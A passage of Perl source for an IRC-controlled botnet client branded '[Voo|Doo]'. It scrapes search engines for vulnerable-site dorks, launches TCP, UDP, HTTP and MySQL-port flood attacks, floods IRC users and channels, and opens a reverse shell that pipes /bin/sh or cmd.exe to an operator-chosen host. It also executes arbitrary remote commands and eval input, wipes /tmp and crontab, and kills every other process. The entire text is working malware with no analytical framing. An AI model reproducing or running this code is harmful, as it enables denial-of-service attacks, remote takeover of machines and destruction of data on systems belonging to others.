$lib=("http://www.baidu.com/s?lm=0&si=&rn=10&ie=gb2312&ct=0&wd=".key($key)."&pn=".$start."&ver=0&cl=3"); my $Res=query($lib); while($Res =~ m/href=\"http:\/\/(.*?)\"/ig){ my $k=$1; my @grep=links($k); push(@lst,@grep); }} return @lst; } sub Alltheweb(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=100; my $max=100*10; my $file = "/tmp/alltheweb.txt"; my $html; my @result; for($start=0;$start < $max; $start += $num){ $html.=&Query("http://www.alltheweb.com/search?advanced=1&cat=web&type=all&hits=".$num."&ocjp=1&q=".$dork."&o=".$start); } while($html =~ m/<span class=\"resURL\">http:\/\/(.+?)\ /g){ $1 =~ /alltheweb/ || push(@result,&Links($1,$file)); } return(@result); } sub UOL(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=20; my $max=100*10; my $file = "/tmp/UOL.txt"; my $html; my @result; for($start=0;$start < $max; $start += $num){ $html.=&Query("http://busca.uol.com.br/www/index.html?q=".$dork."&start=".$start); } while($html =~ m/<a href=\"http:\/\/([^>\"]*)/g){ $1 =~ /busca|uol|yahoo/ || push(@result,&Links($1,$file)); } return(@result); } sub fire(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=100*10; my $file = "/tmp/fire.txt"; my $html; my @result; for($start=0;$start < $max; $start += $num){ $html.=&Query("http://suche.fireball.de/cgi-bin/pursuit?pag=".$start."&query=".$dork."&cat=fb_loc&idx=all&enc=utf-8"); } while($html =~ m/<a href=\"?http:\/\/(.+?)\//g){ $1 =~ /msn|live|google|yahoo/ || push(@result,&Links($1,$file)); } return(@result); } sub MSN(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=10; my $max=100*10; my $file = "/tmp/msn.txt"; my $html; my @result; for($start=0;$start < $max; $start += $num){ $html.=&Query("http://search.live.com/results.aspx?q=".$dork."&first=".$start."&FORM=PERE"); } while($html =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ $1 =~ /msn|live/ || push(@result,&Links($1,$file)); } return(@result); } sub Query(){ my($link,$timeout)=@_; my $req=HTTP::Request->new(GET=>$link); my $ua=LWP::UserAgent->new(); $ua->agent($User_Agent[rand(scalar(@User_Agent))]); $ua->timeout($timeout); my $response=$ua->request($req); return $response->content; } sub Key(){ my $key=$_[0]; $key =~ s/ /\+/g; $key =~ s/:/\%3A/g; $key =~ s/\//\%2F/g; $key =~ s/&/\%26/g; $key =~ s/\"/\%22/g; $key =~ s/\\/\%5C/g; $key =~ s/,/\%2C/g; return $key; } sub GetLink(){ my @file = ("/tmp/google.txt","/tmp/yahoo.txt","/tmp/abacho.txt","/tmp/gigablast.txt","/tmp/msn.txt","/tmp/virgilio.txt","/tmp/seekport.txt","/tmp/alltheweb.txt","/tmp/aol.txt","/tmp/UOL.txt","/tmp/fire.txt"); my $link; my @total; foreach my $n (@file){ open(F,'<',$n); while($link = <F>){ $link=~s/[\r\n]//g; push(@total,$link); } close(F); } return(@total); } sub Remove(){ my @file = ("/tmp/google.txt","/tmp/yahoo.txt","/tmp/abacho.txt","/tmp/gigablast.txt","/tmp/msn.txt","/tmp/virgilio.txt","/tmp/seekport.txt","/tmp/alltheweb.txt","/tmp/aol.txt","/tmp/UOL.txt","/tmp/fire.txt"); foreach my $n (@file){ system("rm -rf ".$n); } } sub GoogleDomains(){ my @ret = ( "ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk", "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg", "com.tr","com.tw","com.ua","co.uk","hu" ); return(@ret); } sub Unique{ my @Unique = (); my %seen = (); foreach my $element ( @_ ){ next if $seen{ $element }++; push @Unique, $element; } return @Unique; } sub Links(){ my ($link,$file_print) = @_; $link=~s/http:\/\///g; my $host = $link; my $host_dir = $host; my @links; $host_dir=~s/(.*)\/[^\/]*$/\1/; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host_dir=&End($host_dir); $host=&End($host); $link=&End($host); push(@links,$link,$host,$host_dir); open($file,'>>',$file_print); print $file "$link\n$host_dir\n$host\n"; close($file); return @links; } sub End(){ $string=$_[0]; $string.="/"; $string=~s/\/\//\//; while($string=~/\/\//){ $string=~s/\/\//\//; } return($string); } sub Agent(){ my @ret = ( "Microsoft Internet Explorer/4.0b1 (Windows 95)", "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)", "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)", "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)", "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)", "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)", "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)", "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Microsoft Pocket Internet Explorer/0.6", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)", "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;", "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)", "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)", "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)", "Advanced Browser (http://www.avantbrowser.com)", "Avant Browser (http://www.avantbrowser.com)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)", "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)", "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)", "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511", "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox", "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1", "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1", "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2", "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b", "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0", "Mozilla/3.0 (OS/2; U)", "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)", "Mozilla/4.61 (Macintosh; I; PPC)", "Mozilla/4.61 [en] (OS/2; U)", "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)", "Mozilla/4.8 [en] (Windows NT 5.0; U)" ); return(@ret); } ###################### # End of MAILER # ###################### # A /tmp cleaner if ($funcarg =~ /^cleartmp/) { system 'cd /tmp;rm -rf *'; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] /tmp is Cleaned"); } #-#-#-#-#-#-#-#-# # Flooders IRC # #-#-#-#-#-#-#-#-# # msg, @msgflood <who> if ($funcarg =~ /^msgflood (.+?) (.*)/) { for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Msg Flood Excecuted on ".$1." "); } # dccflood, @dccflood <who> if ($funcarg =~ /^dccflood (.*)/) { for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] DcpFlood Excecuted on ".$1." "); } # ctcpflood, @ctcpflood <who> if ($funcarg =~ /^ctcpflood (.*)/) { for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Tcp Flood Excecuted on ".$1." "); } # noticeflood, @noticeflood <who> if ($funcarg =~ /^noticeflood (.*)/) { for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Notice Flood Excecuted on ".$1." "); } # Channel Flood, @channelflood if ($funcarg =~ /^channelflood/) { for($i=0; $i<=25; $i+=1){ sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) ); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Channel Flood Excecuted "); } # Maxi Flood, @maxiflood if ($funcarg =~ /^maxiflood(.*)/) { for($i=0; $i<=15; $i+=1){ sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] All Flood Excecuted on ".$1." "); } ###################### # irc # ###################### if ($funcarg =~ /^reset/) { sendraw($IRC_cur_socket, "QUIT :"); } if ($funcarg =~ /^join (.*)/) { sendraw($IRC_cur_socket, "JOIN ".$1); } if ($funcarg =~ /^part (.*)/) { sendraw($IRC_cur_socket, "PART ".$1); } if ($funcarg =~ /^voice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +v ".$1); } if ($funcarg =~ /^devoice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -v ".$1); } if ($funcarg =~ /^halfop (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +h ".$1); } if ($funcarg =~ /^dehalfop (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -h ".$1); } if ($funcarg =~ /^owner (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +q ".$1); } if ($funcarg =~ /^deowner (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -q ".$1); } if ($funcarg =~ /^op (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +o ".$1); } if ($funcarg =~ /^deop (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -o ".$1); } ###################### #End of Join And Part# ###################### ###################### # TCPFlood # ###################### if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Tcp Ddos Attacking ".$1.":".$2." for ".$3." seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($3>$cur_time){ $cur_time = time - $itime; &tcpflooder("$1","$2","$3"); } sendraw($IRC_cur_socket,"PRIVMSG $printl :[Voo|Doo] Tcp Ddos Attack done ".$1.":".$2."."); } ###################### # End of TCPFlood # ###################### ###################### # SQL Fl00dEr # ###################### if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Sql Ddos Attacking ".$1." on port 3306 for ".$2." seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Sql Attacking done ".$1."."); } ###################### # Back Connect # ###################### if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) { my $host = "$1"; my $porta = "$2"; my $proto = getprotobyname('tcp'); my $iaddr = inet_aton($host); my $paddr = sockaddr_in($porta, $iaddr); my $shell = "/bin/sh -i"; if ($^O eq "MSWin32") { $shell = "cmd.exe"; } socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; connect(SOCKET, $paddr) or die "connect: $!"; open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system("$shell"); close(STDIN); close(STDOUT); close(STDERR); if ($estatisticas){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Back Connecting to $host:$porta"); } } ###################### #End of Back Connect# ###################### ###################### #End of MultiSCANNER # ###################### if ($funcarg =~ /^killer/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]Pid Killing."); system("crontab -r"); $PID = $$; @PIDS = `ps x |awk '{print \$1;}'`; foreach my $pidi(@PIDS){ if($pidi == $PID){ return; }else{ system("kill -9 $pidi"); } } } ###################### # HTTPFlood # ###################### if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Http Flood Attacking ".$1." on port 80 for ".$2." seconds ."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Http-Ddos Attacking done ".$1."."); } ###################### # End of HTTPFlood # ###################### ###################### # UDPFlood # ###################### if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Udp Attacking ".$1." with ".$2." Kb Packets for ".$3." seconds."); my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Udp Results ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1."."); } ###################### # End of Udpflood # ###################### exit; } } sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1"); } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub get_html() { $test=$_[0]; $ip=$_[1]; $port=$_[2]; my $req=HTTP::Request->new(GET=>$test); my $ua=LWP::UserAgent->new(); if(defined($ip) && defined($port)) { $ua->proxy("http","http://$ip:$port/"); $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"); } $ua->timeout(1); my $response=$ua->request($req); if ($response->is_success) { $re=$response->content; } return $re; } sub addproc { my $proc=$_[0]; my $dork=$_[1]; open(FILE,">>/tmp/pids"); print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n"; close(FILE); } sub delproc { my $proc=$_[0]; open(FILE,"/tmp/pids"); while(<FILE>) { $_ =~ /(\d+)\s+(.*)/; $childs{$1}=$2; } close(FILE); delete($childs{$proc}); open(FILE,">/tmp/pids"); for $klucz (keys %childs) { print FILE $klucz." ".$childs{$klucz}."\n"; } } sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } } sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++; $l++; } $l=0; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; shutdown($t,2); $l++; } } sub udpflooder { my $iaddr = inet_aton($_[0]); my $msg = 'A' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65000; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part { sendraw("PART $_[0]"); } sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub quit { sendraw("QUIT :$_[0]"); } sub fetch(){ my $rnd=(int(rand(9999))); my $n= 80; if ($rnd<5000) { $n<<=1; } my $s= (int(rand(10)) * $n); my @dominios = ("removed-them-all"); my @str; foreach $dom (@dominios){ push (@str,"@gstring"); } my $query="www.google.com/search?q="; $query.=$str[(rand(scalar(@str)))]; $query.="&num=$n&start=$s"; my @lst=(); sendraw("privmsg #debug :DEBUG only test googling: ".$query.""); my $page = http_query($query); while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){ if ($1 !~ m/google|cache|translate/){ push (@lst,$1); } } return (@lst); sub links() { my @l; my $link=$_[0]; my $host=$_[0]; my $hdir=$_[0]; $hdir=~s/(.*)\/[^\/]*$/\1/; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host.="/"; $link.="/"; $hdir.="/"; $host=~s/\/\//\//g; $hdir=~s/\/\//\//g; $link=~s/\/\//\//g; push(@l,$link,$host,$hdir); return @l; } sub geths(){ my $host=$_[0]; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; return $host; } sub key(){ my $chiave=$_[0]; $chiave =~ s/ /\+/g; $chiave =~ s/:/\%3A/g; $chiave =~ s/\//\%2F/g; $chiave =~ s/&/\%26/g; $chiave =~ s/\"/\%22/g; $chiave =~ s/,/\%2C/g; $chiave =~ s/\\/\%5C/g; return $chiave; } sub query($){ my $url=$_[0]; $url=~s/http:\/\///; my $host=$url; my $query=$url; my $page=""; $host=~s/href=\"?http:\/\///; $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query=~s/$host//; if ($query eq "") {$query="/";}; eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp", Timeout=>"5") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; close($sock); }; return $page; } sub unici{ my @unici = (); my %visti = (); foreach my $elemento ( @_ ) { next if $visti{ $elemento }++; push @unici, $elemento; } return @unici; } sub http_query($){ my ($url) = @_; my $host=$url; my $query=$url; my $page=""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~s/$host//; if ($query eq "") {$query="/";}; eval { local $SIG{ALRM} = sub { die "1";}; alarm 10; my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp", Timeout=>"5") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; alarm 0; close($sock); }; return $page; }}